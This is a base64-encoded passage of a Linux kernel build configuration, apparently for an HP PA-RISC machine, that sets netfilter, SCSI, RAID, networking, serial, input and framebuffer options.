RklHX0lQVjZfVFVOTkVMPW0KQ09ORklHX05FVEZJTFRFUj15CiMgQ09ORklHX05FVEZJTFRFUl9E
RUJVRyBpcyBub3Qgc2V0CgojCiMgSVA6IE5ldGZpbHRlciBDb25maWd1cmF0aW9uCiMKQ09ORklH
X0lQX05GX0NPTk5UUkFDSz1tCkNPTkZJR19JUF9ORl9DVF9BQ0NUPXkKQ09ORklHX0lQX05GX0NP
Tk5UUkFDS19NQVJLPXkKIyBDT05GSUdfSVBfTkZfQ1RfUFJPVE9fU0NUUCBpcyBub3Qgc2V0CkNP
TkZJR19JUF9ORl9GVFA9bQojIENPTkZJR19JUF9ORl9JUkMgaXMgbm90IHNldAojIENPTkZJR19J
UF9ORl9URlRQIGlzIG5vdCBzZXQKIyBDT05GSUdfSVBfTkZfQU1BTkRBIGlzIG5vdCBzZXQKQ09O
RklHX0lQX05GX1FVRVVFPW0KQ09ORklHX0lQX05GX0lQVEFCTEVTPW0KQ09ORklHX0lQX05GX01B
VENIX0xJTUlUPW0KQ09ORklHX0lQX05GX01BVENIX0lQUkFOR0U9bQpDT05GSUdfSVBfTkZfTUFU
Q0hfTUFDPW0KQ09ORklHX0lQX05GX01BVENIX1BLVFRZUEU9bQpDT05GSUdfSVBfTkZfTUFUQ0hf
TUFSSz1tCkNPTkZJR19JUF9ORl9NQVRDSF9NVUxUSVBPUlQ9bQpDT05GSUdfSVBfTkZfTUFUQ0hf
VE9TPW0KQ09ORklHX0lQX05GX01BVENIX1JFQ0VOVD1tCkNPTkZJR19JUF9ORl9NQVRDSF9FQ049
bQpDT05GSUdfSVBfTkZfTUFUQ0hfRFNDUD1tCkNPTkZJR19JUF9ORl9NQVRDSF9BSF9FU1A9bQpD
T05GSUdfSVBfTkZfTUFUQ0hfTEVOR1RIPW0KQ09ORklHX0lQX05GX01BVENIX1RUTD1tCkNPTkZJ
R19JUF9ORl9NQVRDSF9UQ1BNU1M9bQpDT05GSUdfSVBfTkZfTUFUQ0hfSEVMUEVSPW0KQ09ORklH
X0lQX05GX01BVENIX1NUQVRFPW0KQ09ORklHX0lQX05GX01BVENIX0NPTk5UUkFDSz1tCkNPTkZJ
R19JUF9ORl9NQVRDSF9PV05FUj1tCkNPTkZJR19JUF9ORl9NQVRDSF9BRERSVFlQRT1tCkNPTkZJ
R19JUF9ORl9NQVRDSF9SRUFMTT1tCkNPTkZJR19JUF9ORl9NQVRDSF9TQ1RQPW0KQ09ORklHX0lQ
X05GX01BVENIX0NPTU1FTlQ9bQpDT05GSUdfSVBfTkZfTUFUQ0hfQ09OTk1BUks9bQpDT05GSUdf
SVBfTkZfTUFUQ0hfSEFTSExJTUlUPW0KQ09ORklHX0lQX05GX0ZJTFRFUj1tCkNPTkZJR19JUF9O
Rl9UQVJHRVRfUkVKRUNUPW0KQ09ORklHX0lQX05GX1RBUkdFVF9MT0c9bQpDT05GSUdfSVBfTkZf
VEFSR0VUX1VMT0c9bQpDT05GSUdfSVBfTkZfVEFSR0VUX1RDUE1TUz1tCkNPTkZJR19JUF9ORl9O
QVQ9bQpDT05GSUdfSVBfTkZfTkFUX05FRURFRD15CkNPTkZJR19JUF9ORl9UQVJHRVRfTUFTUVVF
UkFERT1tCkNPTkZJR19JUF9ORl9UQVJHRVRfUkVESVJFQ1Q9bQpDT05GSUdfSVBfTkZfVEFSR0VU
X05FVE1BUD1tCkNPTkZJR19JUF9ORl9UQVJHRVRfU0FNRT1tCkNPTkZJR19JUF9ORl9OQVRfU05N
UF9CQVNJQz1tCkNPTkZJR19JUF9ORl9OQVRfRlRQPW0KQ09ORklHX0lQX05GX01BTkdMRT1tCkNP
TkZJR19JUF9ORl9UQVJHRVRfVE9TPW0KQ09ORklHX0lQX05GX1RBUkdFVF9FQ049bQpDT05GSUdf
SVBfTkZfVEFSR0VUX0RTQ1A9bQpDT05GSUdfSVBfTkZfVEFSR0VUX01BUks9bQpDT05GSUdfSVBf
TkZfVEFSR0VUX0NMQVNTSUZZPW0KQ09ORklHX0lQX05GX1RBUkdFVF9DT05OTUFSSz1tCkNPTkZJ
R19JUF9ORl9UQVJHRVRfQ0xVU1RFUklQPW0KQ09ORklHX0lQX05GX1JBVz1tCkNPTkZJR19JUF9O
Rl9UQVJHRVRfTk9UUkFDSz1tCkNPTkZJR19JUF9ORl9BUlBUQUJMRVM9bQpDT05GSUdfSVBfTkZf
QVJQRklMVEVSPW0KQ09ORklHX0lQX05GX0FSUF9NQU5HTEU9bQoKIwojIElQdjY6IE5ldGZpbHRl
ciBDb25maWd1cmF0aW9uIChFWFBFUklNRU5UQUwpCiMKQ09ORklHX0lQNl9ORl9RVUVVRT1tCkNP
TkZJR19JUDZfTkZfSVBUQUJMRVM9bQpDT05GSUdfSVA2X05GX01BVENIX0xJTUlUPW0KQ09ORklH
X0lQNl9ORl9NQVRDSF9NQUM9bQpDT05GSUdfSVA2X05GX01BVENIX1JUPW0KQ09ORklHX0lQNl9O
Rl9NQVRDSF9PUFRTPW0KQ09ORklHX0lQNl9ORl9NQVRDSF9GUkFHPW0KQ09ORklHX0lQNl9ORl9N
QVRDSF9ITD1tCkNPTkZJR19JUDZfTkZfTUFUQ0hfTVVMVElQT1JUPW0KQ09ORklHX0lQNl9ORl9N
QVRDSF9PV05FUj1tCkNPTkZJR19JUDZfTkZfTUFUQ0hfTUFSSz1tCkNPTkZJR19JUDZfTkZfTUFU
Q0hfSVBWNkhFQURFUj1tCkNPTkZJR19JUDZfTkZfTUFUQ0hfQUhFU1A9bQpDT05GSUdfSVA2X05G
X01BVENIX0xFTkdUSD1tCkNPTkZJR19JUDZfTkZfTUFUQ0hfRVVJNjQ9bQpDT05GSUdfSVA2X05G
X0ZJTFRFUj1tCkNPTkZJR19JUDZfTkZfVEFSR0VUX0xPRz1tCkNPTkZJR19JUDZfTkZfTUFOR0xF
PW0KQ09ORklHX0lQNl9ORl9UQVJHRVRfTUFSSz1tCkNPTkZJR19JUDZfTkZfUkFXPW0KCiMKIyBT
Q1RQIENvbmZpZ3VyYXRpb24gKEVYUEVSSU1FTlRBTCkKIwpDT05GSUdfSVBfU0NUUD1tCiMgQ09O
RklHX1NDVFBfREJHX01TRyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDVFBfREJHX09CSkNOVCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDVFBfSE1BQ19OT05FIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NUUF9I
TUFDX1NIQTEgaXMgbm90IHNldApDT05GSUdfU0NUUF9ITUFDX01ENT15CiMgQ09ORklHX0FUTSBp
cyBub3Qgc2V0CiMgQ09ORklHX0JSSURHRSBpcyBub3Qgc2V0CkNPTkZJR19WTEFOXzgwMjFRPW0K
IyBDT05GSUdfREVDTkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfTExDMiBpcyBub3Qgc2V0CiMgQ09O
RklHX0lQWCBpcyBub3Qgc2V0CiMgQ09ORklHX0FUQUxLIGlzIG5vdCBzZXQKIyBDT05GSUdfWDI1
IGlzIG5vdCBzZXQKIyBDT05GSUdfTEFQQiBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9ESVZFUlQg
aXMgbm90IHNldAojIENPTkZJR19FQ09ORVQgaXMgbm90IHNldAojIENPTkZJR19XQU5fUk9VVEVS
IGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1NDSEVEIGlzIG5vdCBzZXQKQ09ORklHX05FVF9DTFNf
Uk9VVEU9eQoKIwojIE5ldHdvcmsgdGVzdGluZwojCiMgQ09ORklHX05FVF9QS1RHRU4gaXMgbm90
IHNldAojIENPTkZJR19IQU1SQURJTyBpcyBub3Qgc2V0CiMgQ09ORklHX0lSREEgaXMgbm90IHNl
dAojIENPTkZJR19CVCBpcyBub3Qgc2V0CgojCiMgRGV2aWNlIERyaXZlcnMKIwoKIwojIEdlbmVy
aWMgRHJpdmVyIE9wdGlvbnMKIwpDT05GSUdfU1RBTkRBTE9ORT15CkNPTkZJR19QUkVWRU5UX0ZJ
Uk1XQVJFX0JVSUxEPXkKQ09ORklHX0ZXX0xPQURFUj15CiMgQ09ORklHX0RFQlVHX0RSSVZFUiBp
cyBub3Qgc2V0CgojCiMgTWVtb3J5IFRlY2hub2xvZ3kgRGV2aWNlcyAoTVREKQojCiMgQ09ORklH
X01URCBpcyBub3Qgc2V0CgojCiMgUGFyYWxsZWwgcG9ydCBzdXBwb3J0CiMKQ09ORklHX1BBUlBP
UlQ9bQpDT05GSUdfUEFSUE9SVF9QQz1tCkNPTkZJR19QQVJQT1JUX1BDX0ZJRk89eQpDT05GSUdf
UEFSUE9SVF9QQ19TVVBFUklPPXkKQ09ORklHX1BBUlBPUlRfR1NDPXkKQ09ORklHX1BBUlBPUlRf
MTI4ND15CgojCiMgUGx1ZyBhbmQgUGxheSBzdXBwb3J0CiMKIyBDT05GSUdfUE5QIGlzIG5vdCBz
ZXQKCiMKIyBCbG9jayBkZXZpY2VzCiMKIyBDT05GSUdfQkxLX0RFVl9GRCBpcyBub3Qgc2V0CiMg
Q09ORklHX0JMS19ERVZfWEQgaXMgbm90IHNldAojIENPTkZJR19QQVJJREUgaXMgbm90IHNldAoj
IENPTkZJR19CTEtfREVWX0NPV19DT01NT04gaXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9MT09Q
PW0KQ09ORklHX0JMS19ERVZfQ1JZUFRPTE9PUD1tCkNPTkZJR19CTEtfREVWX05CRD1tCkNPTkZJ
R19CTEtfREVWX1JBTT15CkNPTkZJR19CTEtfREVWX1JBTV9DT1VOVD0xNgpDT05GSUdfQkxLX0RF
Vl9SQU1fU0laRT04MTkyCkNPTkZJR19CTEtfREVWX0lOSVRSRD15CkNPTkZJR19JTklUUkFNRlNf
U09VUkNFPSIiCiMgQ09ORklHX0NEUk9NX1BLVENEVkQgaXMgbm90IHNldAoKIwojIElPIFNjaGVk
dWxlcnMKIwpDT05GSUdfSU9TQ0hFRF9OT09QPXkKQ09ORklHX0lPU0NIRURfQVM9eQpDT05GSUdf
SU9TQ0hFRF9ERUFETElORT15CkNPTkZJR19JT1NDSEVEX0NGUT15CiMgQ09ORklHX0FUQV9PVkVS
X0VUSCBpcyBub3Qgc2V0CgojCiMgQVRBL0FUQVBJL01GTS9STEwgc3VwcG9ydAojCiMgQ09ORklH
X0lERSBpcyBub3Qgc2V0CgojCiMgU0NTSSBkZXZpY2Ugc3VwcG9ydAojCkNPTkZJR19TQ1NJPXkK
Q09ORklHX1NDU0lfUFJPQ19GUz15CgojCiMgU0NTSSBzdXBwb3J0IHR5cGUgKGRpc2ssIHRhcGUs
IENELVJPTSkKIwpDT05GSUdfQkxLX0RFVl9TRD15CkNPTkZJR19DSFJfREVWX1NUPW0KIyBDT05G
SUdfQ0hSX0RFVl9PU1NUIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfU1I9bQojIENPTkZJR19C
TEtfREVWX1NSX1ZFTkRPUiBpcyBub3Qgc2V0CkNPTkZJR19DSFJfREVWX1NHPW0KQ09ORklHX0NI
Ul9ERVZfU0NIPW0KCiMKIyBTb21lIFNDU0kgZGV2aWNlcyAoZS5nLiBDRCBqdWtlYm94KSBzdXBw
b3J0IG11bHRpcGxlIExVTnMKIwpDT05GSUdfU0NTSV9NVUxUSV9MVU49eQpDT05GSUdfU0NTSV9D
T05TVEFOVFM9eQpDT05GSUdfU0NTSV9MT0dHSU5HPXkKCiMKIyBTQ1NJIFRyYW5zcG9ydCBBdHRy
aWJ1dGVzCiMKQ09ORklHX1NDU0lfU1BJX0FUVFJTPXkKIyBDT05GSUdfU0NTSV9GQ19BVFRSUyBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfSVNDU0lfQVRUUlMgaXMgbm90IHNldAoKIwojIFNDU0kg
bG93LWxldmVsIGRyaXZlcnMKIwojIENPTkZJR19TQ1NJXzcwMDBGQVNTVCBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfQUhBMTUyWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUhBMTU0MiBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDU0lfQUhBMTc0MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlD
N1hYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlDN1hYWF9PTEQgaXMgbm90IHNldAojIENP
TkZJR19TQ1NJX0lOMjAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfU0FUQSBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfQlVTTE9HSUMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RUQzMyODAg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX0VBVEEgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0ZV
VFVSRV9ET01BSU4gaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0dEVEggaXMgbm90IHNldAojIENP
TkZJR19TQ1NJX0dFTkVSSUNfTkNSNTM4MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfR0VORVJJ
Q19OQ1I1MzgwX01NSU8gaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1BQQSBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfSU1NIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9OQ1I1M0M0MDZBIGlzIG5v
dCBzZXQKQ09ORklHX1NDU0lfTEFTSTcwMD15CkNPTkZJR181M0M3MDBfTEVfT05fQkU9eQpDT05G
SUdfU0NTSV9aQUxPTj15CkNPTkZJR19TQ1NJX05DUjUzQzhYWF9ERUZBVUxUX1RBR1M9OApDT05G
SUdfU0NTSV9OQ1I1M0M4WFhfTUFYX1RBR1M9MzIKQ09ORklHX1NDU0lfTkNSNTNDOFhYX1NZTkM9
MjAKIyBDT05GSUdfU0NTSV9OQ1I1M0M4WFhfUFJPRklMRSBpcyBub3Qgc2V0CiMgQ09ORklHX1ND
U0lfUEFTMTYgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1BTSTI0MEkgaXMgbm90IHNldAojIENP
TkZJR19TQ1NJX1FMT0dJQ19GQVMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NJTTcxMCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDU0lfU1lNNTNDNDE2IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9U
MTI4IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9VMTRfMzRGIGlzIG5vdCBzZXQKIyBDT05GSUdf
U0NTSV9ERUJVRyBpcyBub3Qgc2V0CgojCiMgT2xkIENELVJPTSBkcml2ZXJzIChub3QgU0NTSSwg
bm90IElERSkKIwojIENPTkZJR19DRF9OT19JREVTQ1NJIGlzIG5vdCBzZXQKCiMKIyBNdWx0aS1k
ZXZpY2Ugc3VwcG9ydCAoUkFJRCBhbmQgTFZNKQojCkNPTkZJR19NRD15CkNPTkZJR19CTEtfREVW
X01EPW0KQ09ORklHX01EX0xJTkVBUj1tCkNPTkZJR19NRF9SQUlEMD1tCkNPTkZJR19NRF9SQUlE
MT1tCiMgQ09ORklHX01EX1JBSUQxMCBpcyBub3Qgc2V0CkNPTkZJR19NRF9SQUlENT1tCkNPTkZJ
R19NRF9SQUlENj1tCkNPTkZJR19NRF9NVUxUSVBBVEg9bQojIENPTkZJR19NRF9GQVVMVFkgaXMg
bm90IHNldApDT05GSUdfQkxLX0RFVl9ETT1tCkNPTkZJR19ETV9DUllQVD1tCkNPTkZJR19ETV9T
TkFQU0hPVD1tCkNPTkZJR19ETV9NSVJST1I9bQpDT05GSUdfRE1fWkVSTz1tCiMgQ09ORklHX0RN
X01VTFRJUEFUSCBpcyBub3Qgc2V0CgojCiMgRnVzaW9uIE1QVCBkZXZpY2Ugc3VwcG9ydAojCiMg
Q09ORklHX0ZVU0lPTiBpcyBub3Qgc2V0CgojCiMgSUVFRSAxMzk0IChGaXJlV2lyZSkgc3VwcG9y
dAojCgojCiMgSTJPIGRldmljZSBzdXBwb3J0CiMKCiMKIyBOZXR3b3JrIGRldmljZSBzdXBwb3J0
CiMKQ09ORklHX05FVERFVklDRVM9eQojIENPTkZJR19EVU1NWSBpcyBub3Qgc2V0CiMgQ09ORklH
X0JPTkRJTkcgaXMgbm90IHNldApDT05GSUdfRVFVQUxJWkVSPW0KQ09ORklHX1RVTj1tCgojCiMg
QVJDbmV0IGRldmljZXMKIwojIENPTkZJR19BUkNORVQgaXMgbm90IHNldAoKIwojIEV0aGVybmV0
ICgxMCBvciAxMDBNYml0KQojCkNPTkZJR19ORVRfRVRIRVJORVQ9eQpDT05GSUdfTUlJPW0KQ09O
RklHX0xBU0lfODI1OTY9bQojIENPTkZJR19ORVRfVkVORE9SXzNDT00gaXMgbm90IHNldAojIENP
TkZJR19MQU5DRSBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9WRU5ET1JfU01DIGlzIG5vdCBzZXQK
IyBDT05GSUdfTkVUX1ZFTkRPUl9SQUNBTCBpcyBub3Qgc2V0CgojCiMgVHVsaXAgZmFtaWx5IG5l
dHdvcmsgZGV2aWNlIHN1cHBvcnQKIwojIENPTkZJR19ORVRfVFVMSVAgaXMgbm90IHNldAojIENP
TkZJR19BVDE3MDAgaXMgbm90IHNldAojIENPTkZJR19ERVBDQSBpcyBub3Qgc2V0CiMgQ09ORklH
X0hQMTAwIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0lTQSBpcyBub3Qgc2V0CiMgQ09ORklHX05F
VF9QQ0kgaXMgbm90IHNldAojIENPTkZJR19ORVRfUE9DS0VUIGlzIG5vdCBzZXQKCiMKIyBFdGhl
cm5ldCAoMTAwMCBNYml0KQojCgojCiMgRXRoZXJuZXQgKDEwMDAwIE1iaXQpCiMKCiMKIyBUb2tl
biBSaW5nIGRldmljZXMKIwojIENPTkZJR19UUiBpcyBub3Qgc2V0CgojCiMgV2lyZWxlc3MgTEFO
IChub24taGFtcmFkaW8pCiMKIyBDT05GSUdfTkVUX1JBRElPIGlzIG5vdCBzZXQKCiMKIyBXYW4g
aW50ZXJmYWNlcwojCiMgQ09ORklHX1dBTiBpcyBub3Qgc2V0CiMgQ09ORklHX0ZEREkgaXMgbm90
IHNldApDT05GSUdfUExJUD1tCkNPTkZJR19QUFA9bQpDT05GSUdfUFBQX01VTFRJTElOSz15CkNP
TkZJR19QUFBfRklMVEVSPXkKQ09ORklHX1BQUF9BU1lOQz1tCkNPTkZJR19QUFBfU1lOQ19UVFk9
bQpDT05GSUdfUFBQX0RFRkxBVEU9bQpDT05GSUdfUFBQX0JTRENPTVA9bQpDT05GSUdfUFBQT0U9
bQpDT05GSUdfU0xJUD1tCkNPTkZJR19TTElQX0NPTVBSRVNTRUQ9eQpDT05GSUdfU0xJUF9TTUFS
VD15CkNPTkZJR19TTElQX01PREVfU0xJUDY9eQpDT05GSUdfU0hBUEVSPW0KQ09ORklHX05FVENP
TlNPTEU9bQpDT05GSUdfTkVUUE9MTD15CiMgQ09ORklHX05FVFBPTExfUlggaXMgbm90IHNldAoj
IENPTkZJR19ORVRQT0xMX1RSQVAgaXMgbm90IHNldApDT05GSUdfTkVUX1BPTExfQ09OVFJPTExF
Uj15CgojCiMgSVNETiBzdWJzeXN0ZW0KIwojIENPTkZJR19JU0ROIGlzIG5vdCBzZXQKCiMKIyBU
ZWxlcGhvbnkgU3VwcG9ydAojCiMgQ09ORklHX1BIT05FIGlzIG5vdCBzZXQKCiMKIyBJbnB1dCBk
ZXZpY2Ugc3VwcG9ydAojCkNPTkZJR19JTlBVVD15CgojCiMgVXNlcmxhbmQgaW50ZXJmYWNlcwoj
CkNPTkZJR19JTlBVVF9NT1VTRURFVj15CkNPTkZJR19JTlBVVF9NT1VTRURFVl9QU0FVWD15CkNP
TkZJR19JTlBVVF9NT1VTRURFVl9TQ1JFRU5fWD0xMDI0CkNPTkZJR19JTlBVVF9NT1VTRURFVl9T
Q1JFRU5fWT03NjgKIyBDT05GSUdfSU5QVVRfSk9ZREVWIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5Q
VVRfVFNERVYgaXMgbm90IHNldApDT05GSUdfSU5QVVRfRVZERVY9bQpDT05GSUdfSU5QVVRfRVZC
VUc9bQoKIwojIElucHV0IERldmljZSBEcml2ZXJzCiMKQ09ORklHX0lOUFVUX0tFWUJPQVJEPXkK
Q09ORklHX0tFWUJPQVJEX0FUS0JEPXkKQ09ORklHX0tFWUJPQVJEX0FUS0JEX0hQX0tFWUNPREVT
PXkKIyBDT05GSUdfS0VZQk9BUkRfQVRLQkRfUkRJX0tFWUNPREVTIGlzIG5vdCBzZXQKIyBDT05G
SUdfS0VZQk9BUkRfU1VOS0JEIGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfTEtLQkQgaXMg
bm90IHNldAojIENPTkZJR19LRVlCT0FSRF9YVEtCRCBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJP
QVJEX05FV1RPTiBpcyBub3Qgc2V0CkNPTkZJR19LRVlCT0FSRF9ISUxfT0xEPXkKQ09ORklHX0tF
WUJPQVJEX0hJTD15CkNPTkZJR19JTlBVVF9NT1VTRT15CkNPTkZJR19NT1VTRV9QUzI9bQojIENP
TkZJR19NT1VTRV9TRVJJQUwgaXMgbm90IHNldAojIENPTkZJR19NT1VTRV9JTlBPUlQgaXMgbm90
IHNldAojIENPTkZJR19NT1VTRV9MT0dJQk0gaXMgbm90IHNldAojIENPTkZJR19NT1VTRV9QQzEx
MFBBRCBpcyBub3Qgc2V0CiMgQ09ORklHX01PVVNFX1ZTWFhYQUEgaXMgbm90IHNldAojIENPTkZJ
R19NT1VTRV9ISUwgaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9KT1lTVElDSyBpcyBub3Qgc2V0
CiMgQ09ORklHX0lOUFVUX1RPVUNIU0NSRUVOIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfTUlT
QyBpcyBub3Qgc2V0CgojCiMgSGFyZHdhcmUgSS9PIHBvcnRzCiMKQ09ORklHX1NFUklPPXkKQ09O
RklHX1NFUklPX1NFUlBPUlQ9bQpDT05GSUdfU0VSSU9fUEFSS0JEPW0KQ09ORklHX1NFUklPX0dT
Q1BTMj15CkNPTkZJR19IUF9TREM9eQpDT05GSUdfSElMX01MQz15CkNPTkZJR19TRVJJT19MSUJQ
UzI9eQojIENPTkZJR19TRVJJT19SQVcgaXMgbm90IHNldAojIENPTkZJR19HQU1FUE9SVCBpcyBu
b3Qgc2V0CgojCiMgQ2hhcmFjdGVyIGRldmljZXMKIwpDT05GSUdfVlQ9eQpDT05GSUdfVlRfQ09O
U09MRT15CkNPTkZJR19IV19DT05TT0xFPXkKIyBDT05GSUdfU0VSSUFMX05PTlNUQU5EQVJEIGlz
IG5vdCBzZXQKCiMKIyBTZXJpYWwgZHJpdmVycwojCkNPTkZJR19TRVJJQUxfODI1MD15CkNPTkZJ
R19TRVJJQUxfODI1MF9DT05TT0xFPXkKQ09ORklHX1NFUklBTF84MjUwX05SX1VBUlRTPTE2CkNP
TkZJR19TRVJJQUxfODI1MF9FWFRFTkRFRD15CkNPTkZJR19TRVJJQUxfODI1MF9NQU5ZX1BPUlRT
PXkKQ09ORklHX1NFUklBTF84MjUwX1NIQVJFX0lSUT15CiMgQ09ORklHX1NFUklBTF84MjUwX0RF
VEVDVF9JUlEgaXMgbm90IHNldApDT05GSUdfU0VSSUFMXzgyNTBfUlNBPXkKIyBDT05GSUdfU0VS
SUFMXzgyNTBfRk9VUlBPUlQgaXMgbm90IHNldAojIENPTkZJR19TRVJJQUxfODI1MF9BQ0NFTlQg
aXMgbm90IHNldAojIENPTkZJR19TRVJJQUxfODI1MF9CT0NBIGlzIG5vdCBzZXQKIyBDT05GSUdf
U0VSSUFMXzgyNTBfSFVCNiBpcyBub3Qgc2V0CgojCiMgTm9uLTgyNTAgc2VyaWFsIHBvcnQgc3Vw
cG9ydAojCkNPTkZJR19TRVJJQUxfTVVYPXkKQ09ORklHX1NFUklBTF9NVVhfQ09OU09MRT15CkNP
TkZJR19TRVJJQUxfQ09SRT15CkNPTkZJR19TRVJJQUxfQ09SRV9DT05TT0xFPXkKQ09ORklHX1VO
SVg5OF9QVFlTPXkKQ09ORklHX0xFR0FDWV9QVFlTPXkKQ09ORklHX0xFR0FDWV9QVFlfQ09VTlQ9
MjU2CkNPTkZJR19QUklOVEVSPW0KIyBDT05GSUdfTFBfQ09OU09MRSBpcyBub3Qgc2V0CkNPTkZJ
R19QUERFVj1tCkNPTkZJR19USVBBUj1tCgojCiMgSVBNSQojCiMgQ09ORklHX0lQTUlfSEFORExF
UiBpcyBub3Qgc2V0CgojCiMgV2F0Y2hkb2cgQ2FyZHMKIwojIENPTkZJR19XQVRDSERPRyBpcyBu
b3Qgc2V0CkNPTkZJR19HRU5fUlRDPXkKIyBDT05GSUdfR0VOX1JUQ19YIGlzIG5vdCBzZXQKIyBD
T05GSUdfRFRMSyBpcyBub3Qgc2V0CiMgQ09ORklHX1IzOTY0IGlzIG5vdCBzZXQKCiMKIyBGdGFw
ZSwgdGhlIGZsb3BweSB0YXBlIGRldmljZSBkcml2ZXIKIwojIENPTkZJR19SQVdfRFJJVkVSIGlz
IG5vdCBzZXQKCiMKIyBUUE0gZGV2aWNlcwojCgojCiMgSTJDIHN1cHBvcnQKIwpDT05GSUdfSTJD
PW0KQ09ORklHX0kyQ19DSEFSREVWPW0KCiMKIyBJMkMgQWxnb3JpdGhtcwojCkNPTkZJR19JMkNf
QUxHT0JJVD1tCkNPTkZJR19JMkNfQUxHT1BDRj1tCiMgQ09ORklHX0kyQ19BTEdPUENBIGlzIG5v
dCBzZXQKCiMKIyBJMkMgSGFyZHdhcmUgQnVzIHN1cHBvcnQKIwojIENPTkZJR19JMkNfRUxFS1RP
UiBpcyBub3Qgc2V0CkNPTkZJR19JMkNfSVNBPW0KQ09ORklHX0kyQ19QQVJQT1JUPW0KQ09ORklH
X0kyQ19QQVJQT1JUX0xJR0hUPW0KIyBDT05GSUdfSTJDX1NUVUIgaXMgbm90IHNldAojIENPTkZJ
R19JMkNfUENBX0lTQSBpcyBub3Qgc2V0CkNPTkZJR19JMkNfU0VOU09SPW0KCiMKIyBNaXNjZWxs
YW5lb3VzIEkyQyBDaGlwIHN1cHBvcnQKIwojIENPTkZJR19TRU5TT1JTX0RTMTMzNyBpcyBub3Qg
c2V0CiMgQ09ORklHX1NFTlNPUlNfRFMxMzc0IGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfRUVQ
Uk9NPW0KQ09ORklHX1NFTlNPUlNfUENGODU3ND1tCiMgQ09ORklHX1NFTlNPUlNfUENBOTUzOSBp
cyBub3Qgc2V0CkNPTkZJR19TRU5TT1JTX1BDRjg1OTE9bQpDT05GSUdfU0VOU09SU19SVEM4NTY0
PW0KIyBDT05GSUdfU0VOU09SU19NQVg2ODc1IGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX0RFQlVH
X0NPUkUgaXMgbm90IHNldAojIENPTkZJR19JMkNfREVCVUdfQUxHTyBpcyBub3Qgc2V0CiMgQ09O
RklHX0kyQ19ERUJVR19CVVMgaXMgbm90IHNldAojIENPTkZJR19JMkNfREVCVUdfQ0hJUCBpcyBu
b3Qgc2V0CgojCiMgRGFsbGFzJ3MgMS13aXJlIGJ1cwojCiMgQ09ORklHX1cxIGlzIG5vdCBzZXQK
CiMKIyBIYXJkd2FyZSBNb25pdG9yaW5nIHN1cHBvcnQKIwojIENPTkZJR19IV01PTiBpcyBub3Qg
c2V0CgojCiMgTWlzYyBkZXZpY2VzCiMKCiMKIyBNdWx0aW1lZGlhIGRldmljZXMKIwojIENPTkZJ
R19WSURFT19ERVYgaXMgbm90IHNldAoKIwojIERpZ2l0YWwgVmlkZW8gQnJvYWRjYXN0aW5nIERl
dmljZXMKIwojIENPTkZJR19EVkIgaXMgbm90IHNldAoKIwojIEdyYXBoaWNzIHN1cHBvcnQKIwpD
T05GSUdfRkI9eQpDT05GSUdfRkJfQ0ZCX0ZJTExSRUNUPXkKQ09ORklHX0ZCX0NGQl9DT1BZQVJF
QT15CkNPTkZJR19GQl9DRkJfSU1BR0VCTElUPXkKQ09ORklHX0ZCX1NPRlRfQ1VSU09SPXkKIyBD
T05GSUdfRkJfTUFDTU9ERVMgaXMgbm90IHNldAojIENPTkZJR19GQl9NT0RFX0hFTFBFUlMgaXMg
bm90IHNldAojIENPTkZJR19GQl9USUxFQkxJVFRJTkcgaXMgbm90IHNldApDT05GSUdfRkJfU1RJ
PXkKIyBDT05GSUdfRkJfUzFEMTNYWFggaXMgbm90IHNldAojIENPTkZJR19GQl9WSVJUVUFMIGlz
IG5vdCBzZXQKCiMKIyBDb25zb2xlIGRpc3BsYXkgZHJpdmVyIHN1cHBvcnQKIwpDT05GSUdfRFVN
TVlfQ09OU09MRT15CkNPTkZJR19EVU1NWV9DT05TT0xFX0NPTFVNTlM9MTYwCkNPTkZJR19EVU1N
WV9DT05TT0xFX1JPV1M9NjQKQ09ORklHX0ZSQU1FQlVGRkVSX0NPTlNPTEU9eQpDT05GSUdfU1RJ
X0NPTlNPTEU9eQojIENPTkZJR19GT05UUyBpcyBub3Qgc2V0CkNPTkZJR19GT05UXzh4OD15CkNP
TkZJR19GT05UXzh4MTY9eQoKIwojIExvZ28gY29uZmlndXJhdGlvbgojCkNPTkZJR19MT0dPPXkK
Q09ORklHX0xPR09fTElOVVhfTU9OTz15CkNPTkZJR19MT0dPX0xJTlVYX1ZHQTE2PXkKQ09ORklH
X0xPR09fTElOVVhfQ0xVVDIyND15CkNPTkZJR19MT0dPX1BBUklTQ19DTFVUMjI0PXkKIyBDT05G
